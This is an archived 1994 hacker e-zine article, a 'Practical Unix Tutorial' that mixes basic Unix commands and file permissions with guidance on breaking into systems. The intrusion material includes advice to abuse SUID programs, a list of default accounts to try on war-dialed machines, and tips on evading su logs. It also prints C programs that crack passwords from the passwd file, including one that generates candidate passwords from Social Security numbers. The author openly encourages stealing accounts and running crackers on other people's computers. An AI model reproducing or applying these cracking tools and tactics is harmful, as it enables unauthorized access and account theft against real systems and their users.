home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / DNA / DNAV1I7.sit / DNAV1I7 / DNA107.002 < prev    next >
Text File  |  1994-02-06  |  37KB  |  718 lines

  1.                  _         _/ \_             _/ \_          _
  2.                _/ \_      /  _  \__        _/  _  \_      _/ \_
  3.              _/  _  \_______/ \  | \_      |  / \ _______/  _  \_
  4.             /  _/ \         \_ | |\_ \_    | |  _/         / \_  \
  5.             \ /    | |----\_  \_ |  \_ \_  | |_/  _/----| |    \ /
  6.                    | |      \_  \|    \_ \_| /   /      | |
  7.                    | |     _/   ||        \||    \_     | |
  8.                    | |   _/   _/ |         | \_    \_   | |
  9.             / \_   | |__/   _/ | |         | | \_    \__| |   _/ \
  10.             \_  \_/  ______/\_/  |         |  \_/\_______  \_/  _/
  11.               \_   _/     \_   _/           \_   _/      \_   _/
  12.                 \_/         \_/               \_/          \_/
  13.  
  14.  
  15.             Practical Unix Tutorial
  16.  
  17.                 1-31-94
  18.  
  19.                    By Zephyr
  20.  
  21. DISCLAIMER PROC USES BX DX ES 
  22. This file can be used in any way you want. Typically, you would read
  23. it, but the particular implementation is up to you. Obviously I'm not
  24. responsible for what you do with the information contained herein. I
  25. don't advocate breaking any laws or statutes; And please:
  26. 'Think before you Drink'!
  27. DISCLAIMER ENDP
  28.  
  29.     In this text, I will describe some of the most useful features
  30. of the UNIX operating system and also it's most common weaknesses. I
  31. won't try to explain everything, or tell all the ways in, as it's
  32. impossible to describe them all. Nor will I try to tell you about all
  33. the latest bugs in the system, like the recent, and well publicized
  34. sendmail bug. Bugs come and they go, but your knowledge of the system
  35. will remain constant. If you can understand the system, you can also
  36. undermine the system. Why would you want to know UNIX, an operating
  37. system named after castrated men? Well, the majority of the systems
  38. on the internet are running UNIX. If you don't know what the internet
  39. is, it's time to find out. The internet is truly the network of networks.
  40. It connects just about everyone in the world together. It allows
  41. people from coast to coast, and even around the world to share info.
  42. It's also totally free to you IF you get yourself an account on the net.
  43. The internet allows you to go anywhere, and do anything for free. There
  44. are no connect charges for the net. Only the people who provide you the
  45. account are the only ones who might try to charge you. Typically, students
  46. at colleges can get access for free. There are a lot of systems that
  47. will charge you a nominal fee to access the net, but hey, you're a 
  48. hacker: why pay for what should be free right?
  49.  
  50.     Ok, with that out of the way, let me describe the way the UNIX
  51. caste system works. First of all, there's the most powerful user on the
  52. system, often termed the super-user. The one thing that identifies him
  53. as the super-user is the fact that his User ID(UID) is 0. This user
  54. is absolutely always named 'root', but this is not required. ANYONE, no
  55. matter what your login name is with UID 0 is the super-user, and can
  56. do what he wants to the system. You don't need to be named root to be
  57. logged in as teh super-user . As you probably guessed, this is what
  58. you want. How much time you're willing to spend is the telling factor
  59. as to whether you'll get in or not. There are other users on the system,
  60. which is what you'll get if you are given an Email account. Generally,
  61. the higher the UID, the less powerful the user. The UNIX system also
  62. has something called a group ID(GID). The different groups can decide
  63. what files you have access to. Functionally, the UNIX command
  64. system is quite similar to the DOS one you are likely well versed in.
  65. This is nice for those of you who know every little in and out of DOS.
  66. All that info will come in handy when learning UNIX. Even if the command
  67. isn't the same, it will have the same sort of structure or feel. The
  68. command prompt is a percent sign (%) on most systems. This is the
  69. standard prompt for the 'csh' shell. Shells in UNIX are basically
  70. the same as COMMAND.COM in DOS, except quite a bit more powerful. (As a
  71. point of interest, the prompt for the super-user is a hash symbol (#) )
  72. The commands for DOS can often be translated directly to UNIX commands.
  73. For instance, here is a small list of the most often used ones:
  74.  
  75. TYPE [FILE2]            =       CAT [FILE1]
  76. DEL [FILE1]             =       RM [FILE1] [FILE2] [FILE3] etc.
  77. MKDIR [DIR]             =       MKDIR [DIR]
  78. RD [DIR]                =       RMDIR [DIR]
  79. CD [DIR]                =       CD [DIR]
  80. DIR [DIR]               =       LS [DIR]
  81. CLS                     =       CLEAR
  82. CHKDSK                  =       DF or DU
  83. FC [FILE1] [FILE2]      =       COMP [FILE1] [FILE2]
  84.  
  85. These are the ones you'll use often enough that you'd want to memorize
  86. them. Of course, if you want to liberate systems, you'll want to
  87. memorize these and much more.
  88.     Now on to the file system. As you are probably familiar with
  89. DOS, the UNIX system is very easy to learn. There are a couple of minor
  90. differences, but nothing too drastic. Basically DOS mimics the way the
  91. UNIX file system works. In DOS, you are used to using drive letters and
  92. back-slashes '\' to represent where you are or want to go. Well, UNIX
  93. doesn't use drive letters at all. It allow more than one drive, but it
  94. essentially uses a volume label to distinguish between the disks.
  95. You don't really need to bother yourself with the different drives,
  96. since they will all appear to be the local drive at once on your system.
  97. You wont need to type anything to access the other file systems, just
  98. saving in certain directories will do that. But, like I said, you don't
  99. really need to concern yourself with this. Just as in DOS, there is a
  100. root directory. As in DOS, it's denoted with a single slash. However,
  101. the other major difference in the UNIX file system is that it uses
  102. forward slashes instead of back. '/' instead of '\' It may take a while,
  103. but you'll get used to it eventually. So, the root directory is directory
  104. '/'. Your account is located somewhere behind the root directory in
  105. something like '/usr/pa03/myaccount'. This is your 'home' directory.
  106. If you are elsewhere in the system, and you want to return to your home
  107. directory, just type in 'cd' and hit enter. If you don't give UNIX a
  108. parameter with that command, it assumes you want to return to your home
  109. directory.
  110.  
  111.     There are other apects of the file system we need to consider
  112. here. UNIX allows you to have longer file names than DOS does. With DOS,
  113. you are limited to 8 characters, followed by a period, and three more
  114. characters. In UNIX, you can have names as long as you'd like. The limit
  115. is generally 256 characters, depending on the system you're on. Another
  116. important point with UNIX is that it's case sensitive, meaning it DOES
  117. care whether or not you type 'LS' or 'ls'. The first one (LS) will return
  118. an error, saying the command doesn't exist, and the latter will work(ls).
  119. This is the same with files. You need to type in the file names exactly,
  120. including the case of them. If capitalized, you must type them that way
  121. to access them.
  122.  
  123.     As in DOS, there are different classes of files in UNIX. DOS allows
  124. hidden, read-only, system and archive file types. UNIX has all this and
  125. more. To make a directory or file hidden, it simply needs to contain a
  126. period as the first character of it's name. For instance, typing:
  127. 'mkdir .hidden' would make a directory in the current directory with the
  128. name .hidden which doesn't show up on regular directory scans using 'ls'.
  129. UNIX has a lot more restrictions when it comes to protecting files. There
  130. are 3 sets of restrictions. The first tells the system whether or not the
  131. person who owns the file can read, write or execute it. The second tells
  132. whether or not a person in the same group as the owner can read, write
  133. or execute it. And the third tells whether or not a user outside of the
  134. owner's group can read, write or execute it. Let's look at a directory
  135. display to help me illustrate this point.
  136.  
  137. % cd /etc          
  138. *********************
  139. Here I change to the /etc directory, where there's lots of cool files. 
  140. I use a 'ls -laF', which is the way a way to display a directory nicely. 
  141. The l parameter puts it into a format so you can see info about the file,
  142. including it's permissions. The 'a' parameter displays the files that start
  143. with a period. The last F parameter puts a slash next to directories, and
  144. puts asterisks netxt to executable files. As I said above, there are three
  145. sets of permissions. Let's dissect this display. 
  146. *********************
  147. % ls -lFa
  148. total 5315
  149. drwxr-xr-x   7 root  wheel        1536 Jan 31 15:36 ./
  150. drwxr-xr-x  17 root  wheel         512 Jan 21 14:12 ../
  151. -rwxr-xr-x   1 root  wheel          69 Apr 11  1993 START-XDM*
  152. -rw-r--r--   1 bin   bin          2384 Nov  4 17:39 aliases
  153. -rw-r--r--   1 root  wheel       11264 Jan 29 16:56 aliases.db
  154. drwxr-xr-x   2 root  wheel         512 Mar 28  1993 amd_samples/
  155. -rw-------   1 bin   bin           343 Mar 27  1993 crontab
  156. *********************
  157. There's more in the listing, but this is enought to serve our purpose.
  158. If we look at this listing, we see a couple of files, as well as a
  159. directory. Directories can be distinguished from files since their
  160. first attribute is a 'd'. In this case, when you use the 'F' parameter
  161. in 'ls', you get a slash after the directories in the listing. For
  162. instance, above, we see the directory 'amd_samples'. There are two
  163. other directories, but they are the current directory './', and the
  164. parent directory '../', which have very similar notation in DOS.
  165. The 3 sets of 3 permissions I spoke of above are listed after the first
  166. character on each line of the listing. There are a total of 9 different
  167. permission slots, shown below.
  168.  
  169. -rw-r--r--   1 bin   bin          2384 Nov  4 17:39 aliases
  170.  |||||||||
  171. Here we see the permissions of bits the file. 
  172.  
  173. - rw- r-- r--   1 bin   bin          2384 Nov  4 17:39 aliases
  174.  
  175. Here I've separated the permissions into logical sets. The first set
  176. tells the system what kind of file it is. It can be a file, a link or
  177. a directory. A regular file is indicated with a -, a directory with a
  178. 'd', and a link with an 'l'. The next 3 sets of permissions are the 3
  179. I mentioned above. The first one tells UNIX what the owner of that
  180. particular file can and can't do to it. For this example, the owner,
  181. whose permissions are in the first set can read and write to this file,
  182. but can't execute it, since there is no x in the first set.
  183.  
  184. - rwx r-x r-x   1 root  wheel          69 Apr 11  1993 START-XDM*    
  185.     |
  186.  
  187. Here is an executable. It's got an executable attribute. The other 2
  188. sets of permissions work the same way, but they pertain to different
  189. users. The second has the same sets of permissions, but pertains only
  190. to users other than the owner of the file, but in the same group. The
  191. last set is everyone else. If the last bits are set, anyone has access
  192. to that file.
  193.  
  194. Same
  195. Group-\   /-Other Groups
  196.       |   |
  197. - rwx r-x r-x   1 root  wheel          69 Apr 11  1993 START-XDM*
  198.    |
  199.     \-Owner
  200.  
  201.  
  202. Assuming you own a file, you can change it's attributes readily,
  203. using the chmod command. You use this to set each set of permissions
  204. separately. The easiest way to do this is to use the numbering system
  205. to decode permissions. Here is a table describing them:
  206.  
  207. Number          Permissions
  208. ----------------------------------------
  209. 0               None
  210. 1               Execute only
  211. 2               Write only
  212. 1+2=3           Write and execute
  213. 4               Read only
  214. 1+4=5           Read and execute                
  215. 2+4=6           Read and write
  216. 1+2+4=7         Read, write and execute
  217.  
  218. With this system, we can use numbers to assign a file it's permissions.
  219. 0, 1, 2, and 4 are the basic permissions, and if you want to give the
  220. file more, you add the other permissions you want. To make it readable
  221. and writable, you use 6, since 2 is write, and 4 is read, and 2 + 4
  222. is 6. Let's look at what this is like on the command line. If we have
  223. the file named hosts, and you want to change it's permissions. On most
  224. systems, you don't own the hosts file, the root user does(super-user).
  225.  
  226. -rw-rw-r--   1 root  wheel        7836 Oct  7 11:29 hosts
  227.  
  228. If we want to change this so it is executable(it's not an executable
  229. type of file, but it'll do for our purposes), we should figure the
  230. current permissions, and add the ones we want to it. We need to own the
  231. file we're changing, so we'll assume we are logged in as root. So, lets
  232. figure the current file permissions, and add the executable bit to it.
  233. For the owner permissions, we see that it is readable and writable,
  234. which is file permission 6. The second one, the inclusive group
  235. permission, is the same, 6. The last one, however, is only readable by
  236. users outside the users group, which is 'wheel'. This is printed next
  237. to the owners's login name in the directory listing, as above. Readable
  238. only is 4. So, the current file's status is '664'. To add the executable
  239. bit to any one of the sets simply requires adding a 1. So, if we want
  240. to be able to execute this file ourselves, but not let anyone else do
  241. so, we would type:
  242.  
  243. CHMOD 0764 hosts
  244.  
  245. This would let the owner execute the file, but wouldn't change any of the
  246. other attributes. The first 0 in the command line is the SUID/SGID bit. It
  247. is similar to the other attributes, but more interesting. It allows the
  248. file, when executed to run as another user. This may sound confusing at first,
  249. but it's an important piece of information to know. Having an SUID program
  250. means that if you, some joe blow user with little access execute the file,
  251. it will turn you into some other user, typically the root user for the
  252. duration of the program's execution. ANYTHING the program does in or to
  253. the UNIX system will be done as another user, usually as root. The 'su'
  254. command is a good example of this. The 'su' command is SUID root. The
  255. 'su' command is the one that lets you switch between users. If you know
  256. someone's password, you can use 'su' to switch yourself into their account.
  257. For instance, if you're logged in with any account name, you can try to
  258. logon to another one by typing SU [account]. If you leave out the [account],
  259. it assumes you want to log in as root. The only way this file can read
  260. the passwords of users is if it is executing as root. No one else has
  261. permission to read the shadow password file, which will be mentioned later,
  262. perhaps in another article. As a point of interest, don't try to hack a
  263. system using 'su' a lot of times, since it's logged, and it's one that is
  264. checked often by just about every system admin. It contains the time that
  265. SU was executed, who you were su'ing to, and whether or not you were
  266. successful. It's REALLY obvious you're hacking their system if they see
  267. a bunch of unsuccessful attempts in a row by you. On to the Octal 
  268. permissions for SUID/GID:
  269.  
  270. Number          Permission
  271. ------------------------------------------
  272. 0               No SUID/SGID or sticky bit
  273. 1               Sticky bit
  274. 2               Set Group ID (SGID)
  275. 4               Set User ID (SUID)
  276.  
  277. The sticky bit is basically useless to you. It just keeps certain
  278. programs in memory even when it's done executing. This is supposed
  279. to speed up access on programs everyone uses a lot. It's totally
  280. useless to the non system admin. It's not even very important any
  281. more, as memory management techniques have made it almost obsolete.
  282. Set group ID is also almost useless to you. You don't see too many
  283. files that just change the group upon execution. It's not entirely
  284. useless, because getting the wheel group ID. The SUID programs
  285. are the ones that are most easily abused, the most likely to cause
  286. problems in security. Since they execute as high level users, you
  287. can sometimes find ways to get them to read or write files that 
  288. you normally can't access, like the passwd file. You should poke
  289. around with executables which are SUID to see if you can do cool
  290. things with them. To set a program as SUID, use the appropriate
  291. code in the chmod command.
  292.  
  293. To make hosts into an SUID program, type:
  294. CHMOD 4777 hosts
  295.  
  296. Then, whenever anyone tries to execute it, they will be turned into
  297. the root during execution. Doing this will change how the file listing
  298. looks. A SUID/GID program will place an 's' in the spot where the 'x'
  299. would normally go. Let's look:
  300.  
  301. -rwsrwxrwx   1 root  wheel        7836 Oct  7 11:29 hosts
  302.  
  303. As we set the file, it is now only SUID, not SGID, since we used the
  304. octal permission 4. Only the 'x' in is replaced. If the second  were
  305. replaced, then it would be SGID as well. The last 'x' will be replaced
  306. with a 't' to denote a sticky program.
  307.  
  308. Now that we have at least a working knowledge of the file system, let's
  309. look at a typical logon:
  310. -------------------------------------------------------------------------
  311.  
  312. UCXX private
  313. annex: rlogin system
  314. user: johnp
  315. Password:
  316. Last login: Mon Jan 31 10:49:28 from dialin1
  317. Copyright 1992,1993 Berkeley Software Design, Inc.
  318. Copyright (c) 1980,1983,1986,1988,1990,1991 The Regents of the University
  319. of California.  All rights reserved.
  320.  
  321. BSDI BSD/386 1.0 Kernel #0: Mon Jan 10 10:46:30 PST 1994
  322.  
  323. You have mail.
  324. Disk quotas for user johnp (uid 11436): 
  325.      Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
  326.           /       0       1       1               1       3       5        
  327.        /usr     338     850    1000              13     400     450        
  328.        /var      10     850    1000               1      50     100        
  329. Terminal type is vt100
  330. ========================================================================
  331. QUOTAS have been implemented on all filesystems, including /tmp. If
  332. you need temporary storage, the filesystem /scratch is available on a
  333. first-come, first-serve basis. All old files will be removed from
  334. /scratch on a daily basis.
  335. ========================================================================
  336. Account information for user: johnp
  337.     Remaining allocation for johnp was 9.62 units 
  338.     as of Mon Jan 31 07:07:14 1994
  339. =============================================================
  340. For details about account balance, please type: help balance
  341. =============================================================
  342.  
  343.     The logon screen is a lot of info to offer about the system.
  344. Whenever you log on,(or watch someone else long on) it tells you the
  345. last time you logged on. This is basically a security feature to detect
  346. whether or not you were the last person to access your account. If you
  347. look at the last logon time and see some strange time and date, you know
  348. someone probably hacked your account. Luckily, rarely does anyone look
  349. at this info. It's just too time consuming when you're logging in. You'll
  350. find you disregard this info along with the rest of us so it's not a very
  351. important problem for system crackers. Next, we see what type of system
  352. we're logging into, which is BSD 386 V 1.0 in this case. Then you see
  353. that this version of UNIX is owned by the elitist, powermonger bastards
  354. named the UC Regents. This is the group of people who get your money
  355. when you go to any UC school. The system then tells me that I have
  356. unread mail, and goes on to display the file system for this host.
  357. In the root system, I have basically no write access anyway, so it's
  358. not important. The system gives me 850k of space in both /var and /usr
  359. systems, with an upper limit of 1 meg. If I try to write to these systems
  360. when I have a meg stored there, it will give me an error message and
  361. stop the write. Then it gives me logon messages telling me I can use
  362. the scratch directory for temporary storage. This is a neat thing to
  363. take advantage of. If you have a large file that wouldn't fit in your
  364. file quota, put it in the /tmp directory, and it's not counted against
  365. you as file space. It's a great place to do processing of large files.
  366. Leaving files in the /tmp directory is not reccomended, as the sysadmin
  367. will delete them eventually. The next thing we see in the logon screen
  368. is the limits set on the time you have online. Often college systems
  369. will try and limit you to a certain amount of time online. There's no
  370. good reason to do this, but they like to do it anyway. This is a good
  371. reason to hack out other people's accounts. Then the system drops you
  372. to the command prompt(%), allowing you to do as you please.
  373.  
  374. The more mundane aspects of using systems will have to be learned as you
  375. go. Doing file management takes some time to learn, but is generally very
  376. easy. Use the commands the same way you would in DOS, and experiment.
  377.  
  378.     Now I'm going to discuss the more security related issues to using
  379. UNIX systems now. Probably the most well know fact about UNIX systems are
  380. that they have a passwd file you can see in the /etc directory. On older
  381. systems, you can actually read the file, and see the passwords with one
  382. exception: they're encrypted with modified 25 iteration DES. DES is the
  383. Data Encryption Standard. It's used by banks and other agencies for digital
  384. transactions. It's not the most secure encryption around, but there
  385. doesn't appear to be any good way to short cut it. Each UNIX password
  386. is 8 characters maximum. The minimum is usually 5 or 6, most likely
  387. the latter. You might have heard about password crackers on boards
  388. you're on, and wondered what they do. They don't actually try and
  389. decrypt the passwords. What they do is try encrypting a bunch of
  390. passwords and checking to see if they match the ones on the system.
  391. As it turns out, this is what the UNIX system does itself. It encrypts
  392. the password users enter, and check to see that it matches the one in
  393. the passwd file. Remember this. Anyone who says they can decrypt 25
  394. iteration DES is lying through their teeth. Doing a brute force attack
  395. on a UNIX system is generally not possible, since there are just too
  396. many passwords to try. Only if you can narrow down the search will
  397. you have any success with a password cracker. Assuming you only want
  398. to try searching for letters alone, with no upper case, numbers, or
  399. punctuation, there are a total of 208,827,064,576. That's a lot of
  400. passwords to try. The max anyone's ever done in terms of encryption speed
  401. is about 50,000 a second. This seems like a lot, but consider it would
  402. take almost a year to try all the possible passwords for one account. Of
  403. course, you could find it at any time, and after half a year, you would
  404. be more likely to have found it than not. But, you don't have half a year
  405. of super-computer time most likely. If you did, you wouldn't bother
  406. hacking some silly UNIX system. Take into account that most systems
  407. don't let a user enter a password without some non-lowercase character
  408. in it. This means it has to have at least ONE upper case letter, or a
  409. number, or some sort of punctuation. Some systems try to enforce good
  410. passwords, but the system doesn't affect the root user, so he can have
  411. any password. Also, any account he creates can have any password he
  412. chooses, since the password program doesn't restrict his input. You'll
  413. see systems that check a large dictionary to make sure that users don't
  414. try to use an easily guessed password. These are often the hardest systems
  415. to crack, unless you know something you're not supposed to, like how they
  416. issue accounts. Some campuses give the accounts to people with the default
  417. password being their Social Security Number.(Yes, they chop the last digit
  418. off, since the SS# is 9 digits) Having someone's SS# can be handy in itself.
  419. Look at some other DNA articles to see how to use this info 'wisely'. Most
  420. systems don't let you steal their password file however, and these systems
  421. are much harder to get a handhold in. Once you have one account on a system,
  422. you should be able to get more. 
  423.  
  424.     I've already discussed SUID programs, which are some of the best
  425. ways to get into systems, and the hardest to detect. Another way is trying
  426. the default account names using simple, easy to guess passwords. If you find
  427. a system which seems insecure, try using some of the obvious defaults,
  428. like:
  429.  
  430. daemon
  431. root
  432. uucp
  433. nuucp
  434. bin
  435. sys
  436. op
  437. games
  438. quota
  439. ftp
  440. demo
  441. guest
  442. anonymous
  443. acctgmgr
  444.  
  445. Some systems will actually leave these accounts unpassworded. If you
  446. try war-dialing an area and find a UNIX system, try these on them.
  447. Getting inside info on the system would help of course, but it's
  448. not always easy. Actually, it rarely is.
  449.  
  450. Here is a sample piece of a passwd file:
  451.  
  452. -------------------------------------------------------------------------
  453. root:*:0:0:System Administrator:/root:/bin/csh
  454. daemon:*:1:1:The devil himself:/:
  455. sys:*:2:2:Operating System:/tmp:/bin/csh
  456. bin:*:3:7:Binaries and Commands:/:/bin/csh
  457. uucp:*:4:1:UNIX-to-UNIX Copy:/usr/spool/uucppublic:/usr/lib/uucp/uucico
  458. op:*:5:5:Smooth Operator:/usr/u2/zzmaster/op:/bin/csh
  459. news:*:6:8:News System:/software/common/lib/news:/bin/sh
  460. games:*:7:13:Games Pseudo-user:/usr/games:
  461. quota:*:8:20:Quota system template:/nonexsistant:/dev/null
  462. demo:*:10:13:Demo User:/usr/demo:/bin/csh
  463. ftp:*:15:20:Anonymous Ftp:/var/ftp:/dev/null
  464. s:*:20:20:S system:/usr/local/lib/s:/bin/csh
  465. acctgmgr:*:30:30:Accounting manager:/usr/spool/acctdata:/bin/csh
  466. All lower level subservient (l)users.
  467. -------------------------------------------------------------------------
  468.  
  469. There are seven fields in a passwd file. Each area is separated from the
  470. others with a colon. First is the account name, and next is the encrypted
  471. password. This example is a shadow password system. You can tell, because
  472. the area where the password should be is an asterisk. The password itself
  473. is actually kept in a file typically called 'shadow', or 'master.passwd'.
  474. The name can vary: Just look and see which files you can't read as a
  475. normal user. The next area is the person's UID, the next is the GID. Next
  476. comes the person's name or info. Then comes the user's home directory, and
  477. last is the user's default shell. The shell is what is executed as soon as
  478. the user logs in. Typically, it is /bin/csh which is the command interpreter
  479. for UNIX. Some accounts have a single program attached to them. For
  480. instance, the 'sync' user is not really a user, but an account name, that
  481. when logged into, runs the sync command as the shell. Then as soon as the
  482. sync command is done executing, it drops you from the system.
  483.  
  484.     On to some programming info in UNIX. Some of the first versions
  485. of the UNIX operating system was written the the C programming language.
  486. C was written almost expressly for making UNIX portable. The tradition of
  487. writing things in C with UNIX has continued on to this day. The library
  488. of functions available to you in UNIX are considerable. If you've
  489. got a system that doesn't shadow passwords, or you can somehow grab
  490. the passwords, you can use the system to actually hack itself. You
  491. write yourself a little hacking program to run even after you log
  492. off. This is one of the coolest ways to get into a system. You can just
  493. let it work on it's own passwords. My first experience in this was
  494. from 'Practical Unix Security' by Garfinkel and Spafford. They've got
  495. a great little book, published by O'Rielly and Associates.
  496. (ISBN: 0-937175-72-2) It's really a cute little book; it's 450 pages
  497. of how to hack UNIX systems, or how to keep hackers out of UNIX systems,
  498. depending on who you are. In the first couple of pages they make the
  499. claim that the book would be useless to hackers, and then proceed to
  500. give source code for hacking the system online in the background. Here
  501. is their original code, named 'joetest.c'. This little program can
  502. teach you a lot, even without any manuals. This is reprinted with,
  503. well, not much permission.
  504.  
  505. #include <stdio.h>
  506. #include <pwd.h>
  507. main()
  508. {
  509.         struct passwd *pw;
  510.     printf("Scanning...\n");
  511.         while(pw=getpwent()){
  512.                 char *crypt();
  513.                 char *result;
  514.                 if(pw->pw_passwd[0]==0){
  515.                         printf("%s has no passwd\n",pw->pw_name);
  516.                         continue;
  517.                 }
  518.                 result=crypt(pw->pw_name,pw->pw_passwd);
  519.                 if(!strcmp(result,pw->pw_passwd)){
  520.                         printf("%s is a Joe!\n",pw->pw_name);
  521.                 }
  522.         }
  523. }
  524.  
  525. You see that there is a header file for the password encryption
  526. algorithm. Instead of having to write the algorithm for encryptint
  527. passwords, you can use the libraries included with UNIX to do the
  528. work for you. This program is capable of encrypting, and checking
  529. passwords even though it's very small. The crackers for DOS, which
  530. don't have the libraries to work with are about 50k of source for
  531. the encryption routines. This is often the case in UNIX, what you
  532. want to do is already available to you. Most functions have library
  533. calls already associated with them to make coding them very easy.
  534. The program above does a couple of things, first it defines an array
  535. called pw of type passwd, which keeps info on the current account. There
  536. are multiple sections to the array, which can be accessed separately.
  537. Next, it starts going through the accounts in the passwd file one
  538. at a time. It checks to see if there is a password present, and if
  539. there is, it will try encrypting the person's name as their password.
  540. If it turns out to be their password, it will display the string:
  541. [user] is a Joe! You know their logon name and their password then.
  542. Unfortunately, no one uses their logon name as their password. At
  543. least no system you want to hack will. So, I modified it so it will
  544. take input from stdin and try encrypting it. If it finds an account,
  545. it will report it by typing to standard out. I have used this program
  546. to hack over long weekends when no one would be on the system, and
  547. I could dedicate it to hacking itself. Here is the code:
  548.  
  549. #include <stdio.h>
  550. #include <pwd.h>
  551. main()
  552. {
  553.     char *result[9];
  554.     struct passwd *pw;
  555.     char *crypt();
  556.     while(gets(result))
  557.     {
  558.     while(pw=getpwent()){
  559.         if(pw->pw_passwd[0]==0){
  560.             printf("%s has no passwd\n",pw->pw_name);
  561.             continue;
  562.         }
  563.         if(!strcmp(crypt(result,pw->pw_passwd),pw->pw_passwd)){
  564.             printf("%s--%s\n",pw->pw_name,result);
  565.         }
  566.     }
  567.     setpwent();
  568.     endpwent();
  569.     }
  570. }
  571.  
  572. What this code does is check whatever passwords you give it. It pulls
  573. passwords in from stdin. You just have a file, or some sort of password
  574. generator online(described later), and pipe the input into this program
  575. just like you would with any other filter. The pipe commands in UNIX work
  576. the same way they do in DOS, by passing info through the stdin and stdout.
  577. If there is demand, this code could be modified to take input directly
  578. from a file, but for the most part, this will work quite well. It's a
  579. very simple program, but it will work cleanly, and it doesn't hurt you
  580. to run it in the background on someone else's computer. See what you come
  581. up with. As I looked around at the different systems in my area, and I
  582. got some accounts on them randomly, I noticed that they were issued by
  583. SS#, so I wrote this filter to go with my PW testing program. It just
  584. spits out #'s to stdout, starting and ending where you want. You can
  585. then pipe this directly into the PW testing program, which takes info
  586. from stdin. 
  587.  
  588. #include <stdio.h>
  589. void main(void)
  590. {
  591. int a,b,c,d,e,f,g,h;
  592. char result[9];
  593. result[8]='\0';
  594.  
  595. for(a=53;a<=53;a++){
  596.   result[0]=a;7
  597.   for(b=52;b<=55;b++){
  598.     result[1]=b;
  599.     for(c=48;c<58;c++){
  600.       result[2]=c;
  601.       for(d=48;d<58;d++){
  602.         result[3]=d;
  603.         for(e=48;e<58;e++){
  604.           result[4]=e;
  605.           for(f=48;f<58;f++){
  606.             result[5]=f;
  607.             for(g=48;g<58;g++){
  608.               result[6]=g;
  609.               for(h=48;h<58;h++){
  610.                 result[7]=h;
  611.                 puts(result);
  612. }}}}}}}}
  613. return;
  614. }
  615.  
  616. The ASCII scan codes for the numbers are:
  617.  
  618. 48: 0
  619. 49: 1
  620. 50: 2
  621. 51: 3
  622. 52: 4
  623. 53: 5
  624. 54: 6
  625. 55: 7
  626. 56: 8
  627. 57: 9
  628.  
  629. Using this, you can generate passwords easily. I have it set to  generate
  630. passwords between 55000000 and 57999999. This is a LOT of passwords, and
  631. took me weeks to run. Eventually, this sort of thing can pay off. Using
  632. even more info helped me do it quicker though. Knowledge of how SS#'s are
  633. distributed is nice to know, and helps limit the search. That's basically
  634. the name of the game when it comes to cracking passwords. How can you
  635. limit the search? Using a dictionary almost always turns up a few passwords
  636. on just about every system I've ever been on. It often turns up root
  637. passwords since the admin doesn't have any restrictions on choosing
  638. his password. He can put down any old easy to remember word.
  639.  
  640. Besides C, UNIX has a host of other programming methods, including
  641. awk, perl, sed, and shell scripts. Each has their own charm and wit.
  642. You'll find each takes some time to learn.
  643.  
  644. Well, it's been quite a long little article here. I hope it's been
  645. informative, and perhaps even a little helpful for you. People who
  646. already knew UNIX probably found this boring, but it's not written
  647. for them. People who know UNIX read books which have far more content
  648. than I put into a Emag article. It seems like the Internet is exploding
  649. right now. Apparently, there is about a 20% growth rate in use PER
  650. MONTH right now. Yes, the internet's traffic doubles about every 4
  651. months. Sounds pretty incredible, but it's true. I suggest you all
  652. get on before the government trashes it beyond belief. How long it
  653. will remain an ungoverned retreat no one knows. Some day, however,
  654. government beauracracy will destroy what the net is now. Get out
  655. there while you can! If you are interested in the Internet, and want
  656. to get started, try giving one of your local Inet carriers a call and
  657. see what their rates are. It may cost you a couple of bucks to get
  658. started, but you can split it with your friends, and share the account.
  659. It's nice to have your own account, but you can give up the account
  660. after you've gained others. There are a number of services that will
  661. let you get to a telnet prompt to telnet to your system from a local
  662. dialup. Ask your local college for their dialin at their computer
  663. science department. To get involved, you need to read about UNIX.
  664. Some books I would suggest to you for learning UNIX, and the
  665. internet in general are:
  666.  
  667. 1. The Whole Internet by Ed Krol. Published by O'Reilly and Associates
  668. This is a good overview of how to get around the net. When you first
  669. get an account, it will seem entirely useless to you until you learn
  670. who to talk to and how. Getting involved takes some time, but it pays
  671. off. This has a listing in the back of some interesting FTP and telnet
  672. sites for you to check out. It's clearly written, and easy to understand,
  673. particularly for someone with a computer background, like yourself.
  674.  
  675. 2. Practical Unix Security by Simson Garfinkel, and Gene Spafford.
  676. Published by O'Reilly and Associates.
  677. I was amazed that this was freely available at most college book
  678. stores in the computer section. It's the fastest, most complete
  679. way to get a view of how computer security works on corporate
  680. and campus networks. It gives overviews of how to secure your system
  681. from those nasty system crackers, and gives accounts of what kind
  682. of attacks they are likely to try, and what kind of tools they use
  683. to do their nasty deeds. All matter of attacks and solutions are
  684. presented here. Fabulous general overview!
  685.  
  686. 3.UNIX for Dummies. IDG Books.
  687. Yeah, you thought this line was only for Dummies. Well, if you are,
  688. admit it, and buy it! It's a great little reference when you're just
  689. learning the OS. It's got most of the common commands, and tells most
  690. if not all the parameters associated with it. Between it and the 'man',
  691. I was able to figure out just about all the commands I needed.
  692.  
  693. 4. UNIX programmer's reference. Que books.
  694. If you want to try to get in through some of the system functions, here
  695. is your way in. This describes in great detail all the C function calls
  696. in UNIX, and a large group of other methods of programming the environment,
  697. including shell writing, awk and sed. It's most impressive and most
  698. complete section is on C though.
  699.  
  700. 5. Managing NFS and NIS by Hal Stern. Published by O'Reilly and Associates.
  701. Every boring detail of how to use and maintain NFS and NIS. For those
  702. who want to try to learn how those computers can keep their file systems
  703. straight, this is a great reference. It's not exactly fun reading, but
  704. it's got some great info in it for you. NFS and NIS attacks about the
  705. most advanced attacks available right now. It's not easy, but it's not
  706. easy to be caught either.
  707.  
  708. 6. Programming Perl by Larry Wall and Randal L. Schwartz.
  709. Published by O'Reilly and Associates, again.
  710. For those who know C, awk, sed or any of those esoteric languages, this
  711. will beat them all. Perl is a strange language, but it sure gets the
  712. job done when you want it to. You may find the SUIDPERL program on your
  713. system, and having a knowledge of PERL can be really helpful in liberating
  714. a system.
  715.  
  716. Good luck, and hope you enjoyed the article! I can be reached on Digital
  717. Decay if you have questions or comments.
  718. Zephyr